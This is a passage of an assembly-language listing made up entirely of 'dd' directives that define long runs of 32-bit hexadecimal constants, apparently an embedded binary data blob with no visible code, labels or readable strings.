		dd 56AD536Ch, 30C88ADCh, 0E445400h, 6765354Ch, 0E109005Ah
		dd 0C95BC370h, 4B017468h, 0E0F82930h, 27D8ABF2h, 87640018h
		dd 6BC58E6Dh, 0C8F72873h, 0B200D142h, 0B14F2610h, 9055E5h
		dd 947AC427h, 814475Ah,	0D6D18001h, 0EA25F46h, 6016CCh
		dd 295CC595h, 2EB06488h, 90E34B16h, 0DCC47F00h,	7C44D148h
		dd 0ABF07EDh, 40B36965h, 12B47542h, 806C643Fh, 30D2520Ch
		dd 72EB8F6h, 14257669h,	8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh
		dd 0D7F8D4C6h, 31A1866h, 88104619h, 0C8064301h,	1890141Bh
		dd 2E9104E0h, 73A381Ch,	50AE961Ah, 0D27CB865h, 29339F00h
		dd 13AB9C4Ah, 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h
		dd 53588011h, 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh
		dd 0F80BF0BFh, 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch
		dd 0EDBBC044h, 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h
		dd 0AE3D4FFBh, 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h
		dd 0F188A18Bh, 5562D0h,	9C01451Bh, 0D35B279Fh, 80FB1D3Ah
		dd 504108D1h, 32A5251h,	0EB1069ECh, 588864C2h, 3C00B3EAh
		dd 5E575684h, 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh
		dd 0BF2B0Fh, 8E1F3EACh,	471000Bh, 0FD27CCFEh, 5F01AF12h
		dd 38EA1CD1h, 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h
		dd 470EC322h, 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h
		dd 298BB6B8h, 69DE7503h, 0FA99554Bh, 3654E00Ch,	2B4300AFh
		dd 0A5D4459Fh, 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h
		dd 8043DE0Eh, 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh
		dd 0F03B7D8Eh, 0C0E0047h, 7E2146D2h, 0A1ED4A7h,	5000D76Ch
		dd 0DEC8D5A6h, 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h
		dd 686C6Ah, 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h
		dd 0C26A00F0h, 4FDF77E3h, 290024ABh, 48165D4Bh,	0B00C06C3h
		dd 0CE090C9Ch, 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h
		dd 1184872h, 6CC1EBCEh,	595C2300h, 0E26A90E5h, 3A8100A0h
		dd 2E1977D0h, 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh
		dd 0FFB09281h, 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h
		dd 2E10033h, 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h,	2D6320C4h
		dd 0DCA13C00h, 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h
		dd 5302BB05h, 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h
		dd 7A28AFEh, 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h
		dd 13C144Dh, 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h
		dd 0B95E882Fh, 12760391h, 3B7421BAh, 72FC3AF0h,	6A838C00h
		dd 0C7F2F449h, 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h
		dd 0E698FEh, 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh
		dd 0E0FCADF5h, 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh
		dd 0E681C280h, 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h
		dd 47174A00h, 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh
		dd 81A09E4Ah, 115F00D0h, 0C53B2BF1h, 2C022452h,	0FF6AE477h
		dd 0B6D5E054h, 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h
		dd 0BE0092ADh, 1D8D70EBh, 661A1D98h, 850580D6h,	28215346h
		dd 4D75E207h, 40903E9Ch, 6132CBh, 6F881931h, 0E655697h
		dd 6AE91F05h, 0D60E03AEh, 0C622E005h, 0AB2550h,	121DA511h
		dd 0AF0A5406h, 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah
		dd 5F3B5D62h, 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h
		dd 4E7FDED9h, 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h
		dd 92F53942h, 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah
		dd 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh
		dd 0AA2BBB25h, 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh
		dd 6E0FD4C7h, 5800EF32h, 19F7EAA7h, 0F8BD7076h,	223B00D7h
		dd 2C683603h, 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh
		dd 33CAE055h, 0BD49F300h, 30AE2040h, 17DC0053h,	0E251606Fh
		dd 230722D8h, 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h
		dd 9BCCA251h, 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h
		dd 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh
		dd 1E42B036h, 4303B022h, 148D7A37h, 0E8DBE3ACh,	3EA878D4h
		dd 1FF49C8Bh, 5F4DA4D1h, 884740BDh, 0DEB790A0h,	0C19C4CC8h
		dd 12E74398h, 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh
		dd 7BFD5C4h, 943DA9ACh,	61BBC007h, 40004E70h, 2571626Bh
		dd 3B691C65h, 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h
		dd 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h
		dd 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h
		dd 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h
		dd 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h,	0EE58E276h
		dd 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h,	0DA9057A2h
		dd 8504DC36h
		dd 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h
		dd 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h
		dd 3D83438Ch, 0C9FEA2h,	0ECC28EF4h, 0DBF12124h,	3A14538h
		dd 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h
		dd 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh
		dd 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h
		dd 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h
		dd 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh
		dd 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h
		dd 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h
		dd 478E003Ch, 91342338h, 2C00C830h, 247228E4h, 0E21C2039h
		dd 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h
		dd 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h
		dd 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh
		dd 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h
		dd 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h
		dd 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch
		dd 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h
		dd 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h,	0F8D2B8CCh
		dd 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h,	182B376Ch
		dd 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h,	7998B900h
		dd 28FF6B26h, 0BC2CA6h,	0C7031E14h, 0A406D950h,	7E0CBF1Dh
		dd 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h, 0E4888032h
		dd 8900141Fh, 2E051043h, 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h
		dd 0C6097D60h, 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh
		dd 0F61DC6FBh, 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh
		dd 96700AD8h, 0E7AE3507h, 4FE05A14h, 3E2016ACh,	180A9FBh
		dd 0A897E8ECh, 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h
		dd 0C8ACF047h, 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh
		dd 0FEEC71Dh, 2E35A6A0h, 0BC00C9BFh, 81100540h,	41878h
		dd 7554D7B1h, 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h
		dd 0B204D085h, 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h
		dd 1EF2E074h, 0CCE1A300h, 80ED6A29h, 4B021E2Eh,	0D8AA4016h
		dd 0E2B7428Eh, 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h
		dd 0EE8AC8E0h, 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h
		dd 0C3A00A2Fh, 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h
		dd 3C995C31h, 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh
		dd 0B963398Dh, 4AB68000h, 18201514h, 7AA20C01h,	4352DF90h
		dd 973477E5h, 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h
		dd 59396491h, 0B66E390Ch, 0FE701080h, 131ED48h,	87E86700h
		dd 46BA44Dh, 88E422h, 0A8903419h, 80282429h, 0E0103D02h
		dd 0C0135074h, 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh
		dd 0C139E034h, 2E4E9980h, 92D0006Fh, 40A5C779h,	0D400CF7Fh
		dd 64882238h, 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h
		dd 3F2C8F16h, 1CF5CD4h,	5ABB4A3Ch, 307B71ABh, 8000019Ch
		dd 742DFC78h, 0B8D71Eh,	135DB2A4h, 0DE2F0451h, 4F5A8000h
		dd 0E16A88C6h, 34E252h,	6789D877h, 0E5D7B8A7h, 6500C275h
		dd 2EE19608h, 1E58595Bh, 0BA64354Bh, 825AB501h,	0F4D0D727h
		dd 0F000ADE9h, 0EB3F19A8h, 8AE705h, 0BC84A663h,	5C766AE1h
		dd 0E810C004h, 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h
		dd 8ECE3EFAh, 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h
		dd 4F0B2A51h, 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h
		dd 3C7A9882h, 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h
		dd 64FDBBBAh, 0DF61EB7Fh, 0FE2FF4h, 0B2799554h,	0A7D3A45Ah
		dd 0A35B9800h, 6E200775h, 47741C6Fh, 7B80BC66h,	144450D1h
		dd 45004840h, 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h
		dd 0B498C4A0h, 3B498700h, 92F0D5AFh, 29F700FBh,	0EFE388C5h
		dd 0FC00A23Ch, 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h
		dd 4967C807h, 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh
		dd 62002C03h, 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h
		dd 3CF8F970h, 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h
		dd 0E233545Bh, 8D49D2h,	22F7EE4Dh, 0D5E42878h, 694EF900h
		dd 0F17F7B32h, 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh
		dd 5246204Ch, 1C3AF04Fh, 40885BEDh, 0B047DE9Ah,	1509A1E2h
		dd 14008E4h, 205450DEh,	5E4FE0h, 1CCCA3Ah, 0DD0814E8h
		dd 0D85D8900h, 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh
		dd 0D7D1E500h, 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh
		dd 0AB00E5B4h, 3B63F059h, 3EC3064h, 0C429C314h,	77BB4418h
		dd 0F622CAF0h, 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h
		dd 25B0C1ECh, 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh
		dd 3B42406Eh, 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h
		dd 4612F880h, 6D07C861h, 205C8725h, 0F4FBFFE0h,	88090028h
		dd 7F977553h, 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h
		dd 32B3C9E5h, 0F3781600h, 616CC82Fh, 6E3E0069h,	68631D3Bh
		dd 1F0072D6h, 493DC024h, 2D4F53h, 7535E238h, 4C315639h
		dd 0E21293Dh, 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h
		dd 62382C8Ah, 0F627561Eh, 53F45881h, 97E47D91h,	70830F7Eh
		dd 8525E6C8h, 5FE983C9h, 0B725D5B8h, 1092D400h,	0EC4F6A7Fh
		dd 0D32300B4h, 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h
		dd 4CE7A3B8h, 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h
		dd 3A413CE7h, 881400F3h, 0A484C06Ch, 103F2A8Bh,	8A88F40h
		dd 3839A042h, 701AAF0h,	4A4784Ch, 0F61560AFh, 501C820h
		dd 30C16590h, 0AF81910h, 0F36FE29h, 0CA08C060h,	2D81CC69h
		dd 0F42B2C05h, 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h
		dd 0A560073h, 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h
		dd 0EC37Ch, 0B6D7EBE8h,	8D8157B4h, 320780E2h, 1C54B09Ch
		dd 1E0E405Eh, 0F194E9F5h, 154FD0FBh, 73E3B06Bh,	483C019Ah
		dd 743E7F6h, 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah
		dd 5817DAF9h, 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h
		dd 8D704C52h, 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h
		dd 75488555h, 7D8AF9F6h, 742FE73Fh, 0FEFFF800h,	173EF82h
		dd 2E90B63h, 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h
		dd 0DF034C5Ah, 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h
		dd 0B8BE81DFh, 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h
		dd 1DC095ECh, 750A5B9h,	16294A7Bh, 5FB43025h, 0AB0090EAh
		dd 0C449C60Eh, 1AD93680h, 404C6728h, 8DE959E0h,	8E73297Bh
		dd 592D3Bh, 0FB3AE571h,	4E182Ah, 0C9825CA6h, 0F51A8D89h
		dd 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh
		dd 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch,	61300FB8h
		dd 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h
		dd 26D858Ah, 25ECB5BBh,	18E01844h, 6E00EB2Ch, 0A7D04936h
		dd 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h
		dd 76481730h
		dd 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h
		dd 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h,	0E73ECh
		dd 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h
		dd 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h,	78E9AF74h
		dd 55A7011Dh, 598AC47h,	5C06607Dh, 4B00DAF2h, 2C3E20CEh
		dd 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h
		dd 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h
		dd 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh
		dd 8F100E8Ah, 500A5ECh,	3101B9EDh, 3EA263D5h, 0D803C6Dh
		dd 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h
		dd 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h
		dd 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h
		dd 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h,	0ECE4AF02h
		dd 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h
		dd 5122036Eh, 72710066h, 5660A06Dh, 64002567h, 21F8966Ch
		dd 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h
		dd 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h,	0BA00280Dh
		dd 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h
		dd 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h
		dd 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h
		dd 90B48521h, 3F032ECh,	0D51AC435h, 8BD86CB0h, 0AA3C064Bh
		dd 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh, 951B3C8h
		dd 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h, 42140063h
		dd 50628864h, 8E676973h, 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh
		dd 0A685EF41h, 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h
		dd 434838CFh, 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h
		dd 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h
		dd 4E62B8Eh, 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h
		dd 0D427012Fh, 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h
		dd 1AEC57Ch, 753AAC68h,	0CCA16D48h, 81003CEFh, 266AFBD7h
		dd 0A09C4Ch, 420D312Dh,	2409940Ah, 13C4400h, 6B40716Dh
		dd 3FC50060h, 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h
		dd 9102022Eh, 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h
		dd 8F010h, 8C022249h, 53140446h, 38838001h, 2F26D49Eh
		dd 206A30h, 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h
		dd 0F8D1EAD3h, 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h
		dd 424611ACh, 8771EC0Eh, 20A18E10h, 0E6F5DE14h,	0B394001Ah
		dd 82E8950Fh, 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh
		dd 0B416E421h, 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h
		dd 84DE3388h, 0BAE3C0A2h, 77006355h, 790A9CABh,	1700BF0h
		dd 1B22F34Bh, 0E7EA1415h, 57C0CBC3h, 8500E118h,	0C1A5AEDCh
		dd 3014C210h, 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h
		dd 18E7AE05h, 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h
		dd 1CA4D822h, 95032991h, 0B81A118Bh, 1873884Ch,	0D485020Ah
		dd 0C9A2437h, 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh
		dd 0AC903C29h, 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h
		dd 7C87A684h, 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h
		dd 0B6D9500h, 5B9038Bh,	2B363D96h, 2CDFD400h, 3CD7AD8Eh
		dd 8D711718h, 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h
		dd 8370147h, 218E428Fh,	0C6E5E8h, 7DB15EBDh, 4A8513F2h
		dd 0D70669FCh, 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh
		dd 39717064h, 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h
		dd 779A4166h, 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh
		dd 7F888E00h, 0A614FAFDh, 784A0B10h, 0A804C8Fh,	6D0B735Fh
		dd 93054FF2h, 22EC8488h, 0F454B7C0h, 79F07906h,	0FCB76B0h
		dd 4E7930F8h, 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h
		dd 27E853BFh, 7C26B549h, 800D0F3Bh, 0CE57036Ah,	7FF64CDh
		dd 93536F30h, 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h
		dd 0A801B874h, 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h
		dd 0AA0D8Eh, 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh
		dd 8838002Ah, 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h
		dd 948DE406h, 3E179500h, 5A57CDB9h, 0CFC50312h,	0F455116Ah
		dd 3D2A4590h, 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h
		dd 0D02DC8A4h, 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h
		dd 70714130h, 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h
		dd 0B202D3D8h, 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h
		dd 0D20F3510h, 7C1F909Fh, 69C7B78Ch, 1CF093C2h,	0B8F403h
		dd 226ECE8h, 352504A1h,	52BCE00h, 0D5D3A79Ch, 0F7BE0011h
		dd 0E5971042h, 8203A54Ah, 480EF6C1h, 99D5C019h,	94E701BEh
		dd 6186662Ah, 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh
		dd 139B5A25h, 5772ACF8h, 0D6E46E00h, 99082788h,	0B24F0324h
		dd 3F8A491Fh, 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h
		dd 2ABCAC45h, 8F5BEE1h,	0BA38E407h, 0F8774307h,	0CB30B0D3h
		dd 352C883Ah, 362A009Dh, 34283D06h, 74399110h, 677200C0h
		dd 62431D70h, 64C30077h, 0A1286D66h, 5C036568h,	8A976318h
		dd 12F1A80Bh, 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h
		dd 1A786255h, 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h
		dd 0F99A156h, 9BE80435h, 2760A2E0h, 0C5007625h,	0DA49CC1Ah
		dd 7FE04890h, 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah
		dd 280421BFh, 0A8EAF7h,	0C58B0745h, 94CF77F6h, 41DC490Bh
		dd 75B18089h, 63F816h, 64535110h, 77712407h, 700073E6h
		dd 62752676h, 777C691Ch, 0F9900029h, 5C244A15h,	6B7F074Ch
		dd 57006F7Fh, 197BC728h, 0A02A1405h, 955689h, 24848913h
		dd 836AA372h, 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h
		dd 6BC48B7Eh, 0CC0256BAh, 2566B322h, 64D7867Ah,	49E700E2h
		dd 5614E350h, 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh
		dd 276AE45Ch, 21574509h, 9A07D751h, 0A050B72Ah,	0A907ED97h
		dd 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh
		dd 0D9EE9200h, 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h
		dd 48125B7Ch, 0ED00A60Eh, 401F496Eh, 754A0047h,	13836653h
		dd 200107Dh, 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h
		dd 892F1301h, 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h
		dd 21072EE6h, 0E319920Fh, 31590840h, 31B97A2Bh,	0BFEA3648h
		dd 0D0856009h, 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h
		dd 2D501245h, 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h
		dd 0BB400293h, 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah
		dd 4AB90013h, 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h
		dd 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch
		dd 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h
		dd 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h,	0E152F903h
		dd 782A8CEh, 50B814A4h,	5F9E40D5h, 64B8CA4Ch, 68F95E0Fh
		dd 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h,	0E02AAAD9h
		dd 0FC7050C4h
		dd 0A5093Bh, 34058EB4h,	24F397ADh, 4F16A4h, 0E80183B8h
		dd 39005E33h, 980A7448h, 161506h, 20135DD1h, 0EFC138EBh
		dd 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h
		dd 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h
		dd 34301C84h, 162238h, 0EFFA8068h, 28E21065h, 3732C400h
		dd 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh,	0A64DA6Fh
		dd 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h
		dd 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h
		dd 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h
		dd 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh
		dd 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h,	8AA2D55Ch
		dd 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h,	1482C7h
		dd 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h
		dd 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch,	0C3511FBCh
		dd 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h
		dd 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h
		dd 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch,	7C097234h
		dd 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh
		dd 5A7C36h, 0F89838FBh,	0D9ED63E9h, 670E8900h, 87F8310h
		dd 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h
		dd 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h, 3EE8B0Eh
		dd 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h, 0CDDE752Ah
		dd 5E40ED4h, 2C201021h,	34443088h, 0EB382000h, 0DA7E9732h
		dd 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h, 482A4Dh
		dd 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h,	0FC2E000Ch
		dd 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h, 7A9D5443h
		dd 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh, 95431518h
		dd 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh, 40FC8Dh
		dd 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh, 836C0014h
		dd 0FF09B068h, 0E0003D5h, 0E0987ED6h, 0EA508D63h, 12723892h
		dd 2B2C6B00h, 7DB68E8h,	0D55B3B00h, 6C0251ACh, 0D4055810h
		dd 0F825E003h, 33D82A78h, 5E019722h, 7707C4E7h,	0E430EDD0h
		dd 13AD002Ch, 0B3034F05h, 0D678A226h, 59957700h, 50408ABBh
		dd 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh, 0AA4F453Dh, 1CB0DE92h
		dd 801F645Fh, 8E00CB4h,	0DC1F16B8h, 26002C2Ah, 69A6FAFCh
		dd 68A0032h, 0EEF17D50h, 5A00EB99h, 20D803BCh, 40C00Ch
		dd 5DFEC4D4h, 1DF8C85Bh, 639D7C00h, 62046942h, 16FA009Bh
		dd 3640C611h, 0B1002266h, 63144D67h, 38BC5F68h,	1A808D3Ch
		dd 0A3F3AC3Eh, 60E62FBh, 8029BB36h, 0F4531B6Ah,	43141D10h
		dd 0ED5CE3Ah, 13FCBE0h,	0F0037D89h, 0CDAA0FB0h,	42AB9085h
		dd 4EC0128h, 17BF39EBh,	0E488E052h, 63844407h, 0B2E0AAE0h
		dd 0F379A27h, 537F5FBAh, 0F081A947h, 8BF3C3B0h,	89E4F007h
		dd 9050F6F8h, 0E6720A78h, 41020048h, 646D69A9h,	0BD0033EEh
		dd 0ADDCB368h, 22EA54h,	0FC44D815h, 7198A5D4h, 0A18F000h
